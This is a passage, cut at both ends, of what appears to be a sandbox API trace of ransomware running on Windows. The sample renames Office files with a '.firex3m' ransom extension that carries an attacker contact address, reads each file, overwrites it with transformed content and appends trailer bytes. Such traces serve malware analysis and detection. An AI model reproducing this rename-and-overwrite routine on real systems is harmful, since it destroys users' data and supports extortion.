cFileName="ZPDIR51F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR5~3.FIR")) returned 0x6d5000 [0189.996] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0189.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir51f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0189.996] GetProcessHeap () returned 0x630000 [0189.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1181) returned 0x72369e8 [0189.996] GetProcessHeap () returned 0x630000 [0189.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1181) returned 0x7290d40 [0189.996] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.996] ReadFile (in: hFile=0x6e8, lpBuffer=0x72369e8, nNumberOfBytesToRead=0x1160, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesRead=0x45bff0c*=0x1160, lpOverlapped=0x0) returned 1 [0190.015] GetProcessHeap () returned 0x630000 [0190.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0190.015] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.015] WriteFile (in: hFile=0x6e8, lpBuffer=0x7290d40*, nNumberOfBytesToWrite=0x1160, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7290d40*, lpNumberOfBytesWritten=0x45bff0c*=0x1160, lpOverlapped=0x0) returned 1 [0190.015] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.015] WriteFile (in: hFile=0x6e8, lpBuffer=0x7291e9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7291e9f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.016] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.016] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.016] CloseHandle (hObject=0x6e8) returned 1 [0190.016] GetProcessHeap () returned 0x630000 [0190.016] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7290d40 | out: hHeap=0x630000) returned 1 [0190.016] GetProcessHeap () returned 0x630000 [0190.016] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0190.016] GetProcessHeap () returned 0x630000 [0190.016] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0190.016] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae23ccd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae23ccd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3734dd4e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x119d, dwReserved0=0xb747496, dwReserved1=0x72369e0, cFileName="ZPDIR51F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR5~3.FIR")) returned 0x6d54c0 [0190.016] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0190.016] Sleep (dwMilliseconds=0x1) [0191.985] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX", len=0x50 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX") returned 1 [0191.985] GetProcessHeap () returned 0x630000 [0191.985] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45bc) returned 0x74656a8 [0191.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_m.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0193.623] CloseHandle (hObject=0x408) returned 1 [0193.623] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_m.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_m.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c5b962, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x525f, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="WRKFME_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFME~1.FIR")) returned 0x6d5240 [0195.793] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0195.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_m.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0195.793] GetProcessHeap () returned 0x630000 [0195.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5261) returned 0x70ace40 [0195.794] GetProcessHeap () returned 0x630000 [0195.794] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5261) returned 0x6fabfe8 [0195.794] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.794] ReadFile (in: hFile=0x408, lpBuffer=0x70ace40, nNumberOfBytesToRead=0x5240, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ace40*, lpNumberOfBytesRead=0x45bff0c*=0x5240, lpOverlapped=0x0) returned 1 [0197.913] GetProcessHeap () returned 0x630000 [0197.913] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0197.913] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.914] WriteFile (in: hFile=0x408, lpBuffer=0x6fabfe8*, nNumberOfBytesToWrite=0x5240, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesWritten=0x45bff0c*=0x5240, lpOverlapped=0x0) returned 1 [0197.914] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.914] WriteFile (in: hFile=0x408, lpBuffer=0x6fb1227*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb1227*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0197.914] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.914] WriteFile (in: hFile=0x408, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0197.915] CloseHandle (hObject=0x408) returned 1 [0197.915] GetProcessHeap () returned 0x630000 [0197.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0197.915] GetProcessHeap () returned 0x630000 [0197.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ace40 | out: hHeap=0x630000) returned 1 [0197.915] GetProcessHeap () returned 0x630000 [0197.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0197.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3be97dee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5283, dwReserved0=0xb747496, dwReserved1=0x70ace38, cFileName="WRKFME_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFME~1.FIR")) returned 0x6d5440 [0197.916] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0197.916] Sleep (dwMilliseconds=0x1) [0200.690] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF", len=0x45 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF") returned 1 [0200.690] GetProcessHeap () returned 0x630000 [0200.690] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4b70) returned 0x7133a90 [0200.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vladimir.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0200.690] CloseHandle (hObject=0x674) returned 1 [0200.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vladimir.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vladimir.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e2fdc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd424, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLADIMIR.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VLADIM~1.FIR")) returned 0x6d53c0 [0200.692] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0200.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vladimir.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0200.692] GetProcessHeap () returned 0x630000 [0200.692] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7437868 [0200.692] GetProcessHeap () returned 0x630000 [0200.692] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x746bd68 [0200.693] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.693] ReadFile (in: hFile=0x674, lpBuffer=0x7437868, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7437868*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.943] GetProcessHeap () returned 0x630000 [0208.943] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0208.944] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.944] WriteFile (in: hFile=0x674, lpBuffer=0x746bd68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.944] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.944] WriteFile (in: hFile=0x674, lpBuffer=0x7477167*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477167*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.944] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.944] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.944] CloseHandle (hObject=0x674) returned 1 [0208.944] GetProcessHeap () returned 0x630000 [0208.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0208.944] GetProcessHeap () returned 0x630000 [0208.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7437868 | out: hHeap=0x630000) returned 1 [0208.945] GetProcessHeap () returned 0x630000 [0208.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0208.945] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x427c3b71, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd448, dwReserved0=0xb747496, dwReserved1=0x7437860, cFileName="VLADIMIR.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VLADIM~1.FIR")) returned 0x6d5480 [0208.945] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0208.945] Sleep (dwMilliseconds=0x1) [0210.788] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG", len=0x6d | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG") returned 1 [0210.788] GetProcessHeap () returned 0x630000 [0210.788] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4df4) returned 0x6fe4288 [0210.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0210.789] CloseHandle (hObject=0x620) returned 1 [0210.789] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.789] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0xff00b748, dwReserved1=0x6e006f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5400 [0210.794] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0210.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0210.795] GetProcessHeap () returned 0x630000 [0210.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a41) returned 0x73c8f30 [0210.795] GetProcessHeap () returned 0x630000 [0210.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a41) returned 0x73cf980 [0210.795] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.795] ReadFile (in: hFile=0x698, lpBuffer=0x73c8f30, nNumberOfBytesToRead=0x6a20, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8f30*, lpNumberOfBytesRead=0x45bff0c*=0x6a20, lpOverlapped=0x0) returned 1 [0214.562] GetProcessHeap () returned 0x630000 [0214.562] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0214.562] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.562] WriteFile (in: hFile=0x698, lpBuffer=0x73cf980*, nNumberOfBytesToWrite=0x6a20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73cf980*, lpNumberOfBytesWritten=0x45bff0c*=0x6a20, lpOverlapped=0x0) returned 1 [0214.562] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.563] WriteFile (in: hFile=0x698, lpBuffer=0x73d639f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d639f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.563] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.563] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.563] CloseHandle (hObject=0x698) returned 1 [0214.563] GetProcessHeap () returned 0x630000 [0214.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73cf980 | out: hHeap=0x630000) returned 1 [0214.563] GetProcessHeap () returned 0x630000 [0214.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8f30 | out: hHeap=0x630000) returned 1 [0214.563] GetProcessHeap () returned 0x630000 [0214.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0214.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x45d6851a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6a4d, dwReserved0=0xb747496, dwReserved1=0x73c8f28, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5200 [0214.564] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0214.564] Sleep (dwMilliseconds=0x1) [0216.275] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml") returned 1 [0216.275] GetProcessHeap () returned 0x630000 [0216.275] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fc4) returned 0x74d7f88 [0216.275] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgradeth2.xml"), 